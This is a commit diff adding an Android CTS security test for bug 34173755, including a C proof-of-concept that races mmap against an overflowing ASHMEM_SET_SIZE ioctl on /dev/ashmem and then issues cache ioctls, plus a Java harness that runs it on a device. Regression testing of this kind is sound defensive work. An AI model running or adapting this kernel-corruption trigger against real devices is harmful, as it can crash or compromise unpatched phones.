CTS/STS test for Android Security b/34173755

Bug: 34173755
Change-Id: I5c6debb351cb1c92876d0430057a51abfd32d89c
diff --git a/hostsidetests/security/AndroidTest.xml b/hostsidetests/security/AndroidTest.xml
index be415fa..eb0ca01 100644
--- a/hostsidetests/security/AndroidTest.xml
+++ b/hostsidetests/security/AndroidTest.xml
@@ -92,6 +92,7 @@
         <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
 
         <option name="push" value="Bug-33863407->/data/local/tmp/Bug-33863407" />
+        <option name="push" value="Bug-34173755->/data/local/tmp/Bug-34173755" />
 
         <!--__________________-->
         <!-- Bulletin 2017-08 -->
diff --git a/hostsidetests/security/securityPatch/Bug-34173755/Android.mk b/hostsidetests/security/securityPatch/Bug-34173755/Android.mk
new file mode 100644
index 0000000..f07cf4e
--- /dev/null
+++ b/hostsidetests/security/securityPatch/Bug-34173755/Android.mk
@@ -0,0 +1,35 @@
+#Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+ include $(CLEAR_VARS)
+LOCAL_MODULE := Bug-34173755
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
+CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
+CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
+CFLAGS += -Iinclude -fPIE
+LOCAL_LDFLAGS += -fPIE -pie
+LDFLAGS += -rdynamic
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/Bug-34173755/local_poc.h b/hostsidetests/security/securityPatch/Bug-34173755/local_poc.h
new file mode 100644
index 0000000..d2508dd
--- /dev/null
+++ b/hostsidetests/security/securityPatch/Bug-34173755/local_poc.h
@@ -0,0 +1,81 @@
+/**
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef __CMD_H__
+#define __CMD_H__
+
+#define _IOC_NRBITS     8
+#define _IOC_TYPEBITS   8
+
+/*
+ * Let any architecture override either of the following before
+ * including this file.
+ */
+
+#ifndef _IOC_SIZEBITS
+# define _IOC_SIZEBITS  14
+#endif
+
+#ifndef _IOC_DIRBITS
+# define _IOC_DIRBITS   2
+#endif
+
+#define _IOC_NRMASK     ((1 << _IOC_NRBITS)-1)
+#define _IOC_TYPEMASK   ((1 << _IOC_TYPEBITS)-1)
+#define _IOC_SIZEMASK   ((1 << _IOC_SIZEBITS)-1)
+#define _IOC_DIRMASK    ((1 << _IOC_DIRBITS)-1)
+
+#define _IOC_NRSHIFT    0
+#define _IOC_TYPESHIFT  (_IOC_NRSHIFT+_IOC_NRBITS)
+#define _IOC_SIZESHIFT  (_IOC_TYPESHIFT+_IOC_TYPEBITS)
+#define _IOC_DIRSHIFT   (_IOC_SIZESHIFT+_IOC_SIZEBITS)
+
+/*
+ * Direction bits, which any architecture can choose to override
+ * before including this file.
+ */
+
+#ifndef _IOC_NONE
+# define _IOC_NONE      0U
+#endif
+
+#ifndef _IOC_WRITE
+# define _IOC_WRITE     1U
+#endif
+
+#ifndef _IOC_READ
+# define _IOC_READ      2U
+#endif
+
+
+
+#define _IOC_TYPECHECK(t) (sizeof(t))
+#define _IOC(dir,type,nr,size) \
+        (((dir)  << _IOC_DIRSHIFT) | \
+         ((type) << _IOC_TYPESHIFT) | \
+         ((nr)   << _IOC_NRSHIFT) | \
+         ((size) << _IOC_SIZESHIFT))
+
+
+
+/* used to create numbers */
+#define _IO(type,nr)            _IOC(_IOC_NONE,(type),(nr),0)
+#define _IOR(type,nr,size)      _IOC(_IOC_READ,(type),(nr),(_IOC_TYPECHECK(size)))
+#define _IOW(type,nr,size)      _IOC(_IOC_WRITE,(type),(nr),(_IOC_TYPECHECK(size)))
+#define _IOWR(type,nr,size)     _IOC(_IOC_READ|_IOC_WRITE,(type),(nr),(_IOC_TYPECHECK(size)))
+
+#endif
+
diff --git a/hostsidetests/security/securityPatch/Bug-34173755/poc.c b/hostsidetests/security/securityPatch/Bug-34173755/poc.c
new file mode 100644
index 0000000..6ec4efd
--- /dev/null
+++ b/hostsidetests/security/securityPatch/Bug-34173755/poc.c
@@ -0,0 +1,155 @@
+/**
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#define _GNU_SOURCE
+#include <errno.h>
+#include <fcntl.h>
+#include <linux/ashmem.h>
+#include <pthread.h>
+#include <sched.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <sys/mman.h>
+#include <sys/socket.h>
+#include <sys/stat.h>
+#include <sys/time.h>
+#include <sys/types.h>
+#include <sys/wait.h>
+#include <unistd.h>
+#include "local_poc.h"
+
+#define ASHMEM_CACHE_CLEAN_RANGE _IO(__ASHMEMIOC, 12)
+#define ASHMEM_CACHE_FLUSH_RANGE _IO(__ASHMEMIOC, 11)
+#define ASHMEM_CACHE_INV_RANGE _IO(__ASHMEMIOC, 13)
+
+int fd;
+void *addr;
+pthread_barrier_t barr;
+
+int thread_mmap_status = 0;
+int thread_set_size_status = 0;
+
+void *thread_mmap(void *);
+void *thread_set_size(void *);
+
+#define ORI_SIZE 4096 * 10
+
+#define OVERFLOW_SIZE 0xFFFFFFFFFFFFFFFF - ORI_SIZE
+
+int main(int argc, char **argv) {
+  int ret;
+  int i;
+  pthread_t tid[2];
+  struct stat st;
+  const char *name = "_crash";
+  struct ashmem_pin pin;
+  char *buf;
+  int size;
+  void *map_again;
+  void *map_buf[100];
+  pid_t pid;
+
+  for (i = 0; i < 10; i++) {
+    map_buf[i] =
+        mmap(NULL, 4096 * 100, PROT_READ | PROT_WRITE,
+             MAP_PRIVATE | MAP_ANONYMOUS | MAP_ANON | MAP_GROWSDOWN, -1, 0);
+    memset((char *)map_buf[i], 0x0, 4096 * 99);
+  }
+
+  while (1) {
+    pthread_barrier_init(&barr, NULL, 2);
+    thread_mmap_status = 0;
+    thread_set_size_status = 0;
+
+    fd = open("/dev/ashmem", O_RDWR);
+    if (fd < 0) {
+      return 0;
+    }
+
+    ret = ioctl(fd, ASHMEM_SET_SIZE, ORI_SIZE);
+    if (ret < 0) {
+      if (addr != MAP_FAILED) munmap(addr, ORI_SIZE);
+      close(fd);
+      continue;
+    }
+
+    ret = pthread_create(&tid[0], NULL, thread_mmap, NULL);
+    if (ret != 0) {
+      if (addr != MAP_FAILED) munmap(addr, ORI_SIZE);
+      close(fd);
+      return -1;
+    }
+
+    ret = pthread_create(&tid[1], NULL, thread_set_size, NULL);
+    if (ret != 0) {
+      if (addr != MAP_FAILED) munmap(addr, ORI_SIZE);
+      close(fd);
+      return -1;
+    }
+
+    pthread_join(tid[0], NULL);
+    pthread_join(tid[1], NULL);
+
+    errno = 0;
+    size = ioctl(fd, ASHMEM_GET_SIZE, 0);
+    if (size == (unsigned int)OVERFLOW_SIZE && addr != MAP_FAILED) break;
+  }
+
+  map_again = mmap(NULL, ORI_SIZE, PROT_READ | PROT_WRITE,
+                   MAP_SHARED | MAP_NORESERVE, fd, 0);
+
+  munmap(addr, ORI_SIZE);
+
+  for (i = 0; i < 10; i++) {
+    munmap(map_buf[i], 4096 * 100);
+  }
+
+  pid = fork();
+  if (pid == 0) {
+    for (i = 0; i < 1000; i++)
+      mmap(NULL, 4096 * 100, PROT_READ | PROT_WRITE,
+           MAP_PRIVATE | MAP_ANONYMOUS | MAP_ANON | MAP_GROWSDOWN, -1, 0);
+    memset((char *)map_buf[i], 0x0, 4096 * 99);
+
+    return 0;
+  }
+  sleep(4);
+
+  ret = ioctl(fd, ASHMEM_CACHE_CLEAN_RANGE, 0);
+
+  ret = ioctl(fd, ASHMEM_CACHE_FLUSH_RANGE, 0);
+  ret = ioctl(fd, ASHMEM_CACHE_INV_RANGE, 0);
+  munmap(map_again, ORI_SIZE);
+  close(fd);
+
+  return 0;
+}
+
+void *thread_mmap(void *arg) {
+  pthread_barrier_wait(&barr);
+  addr = mmap(NULL, ORI_SIZE, PROT_READ | PROT_WRITE,
+              MAP_SHARED | MAP_NORESERVE, fd, 0);
+
+  return NULL;
+}
+
+void *thread_set_size(void *arg) {
+  pthread_barrier_wait(&barr);
+  ioctl(fd, ASHMEM_SET_SIZE, OVERFLOW_SIZE);
+
+  return NULL;
+}
diff --git a/hostsidetests/security/src/android/security/cts/Poc17_07.java b/hostsidetests/security/src/android/security/cts/Poc17_07.java
index 6c4a2f3..06d904b 100644
--- a/hostsidetests/security/src/android/security/cts/Poc17_07.java
+++ b/hostsidetests/security/src/android/security/cts/Poc17_07.java
@@ -26,7 +26,7 @@
      */
     @SecurityTest
     public void testPocBug_33863407() throws Exception {
-	enableAdbRoot(getDevice());
+        enableAdbRoot(getDevice());
         if(containsDriver(getDevice(), "/sys/kernel/debug/mdp/reg")) {
             AdbUtils.runPoc("Bug-33863407", getDevice(), 60);
         }
@@ -64,4 +64,15 @@
             AdbUtils.runPoc("CVE-2017-8263", getDevice(), 60);
         }
     }
+
+    /**
+     * b/34173755
+     */
+    @SecurityTest
+    public void testPocBug_34173755() throws Exception {
+        enableAdbRoot(getDevice());
+        if(containsDriver(getDevice(), "/dev/ashmem")) {
+           AdbUtils.runPoc("Bug-34173755", getDevice(), 60);
+      }
+    }
 }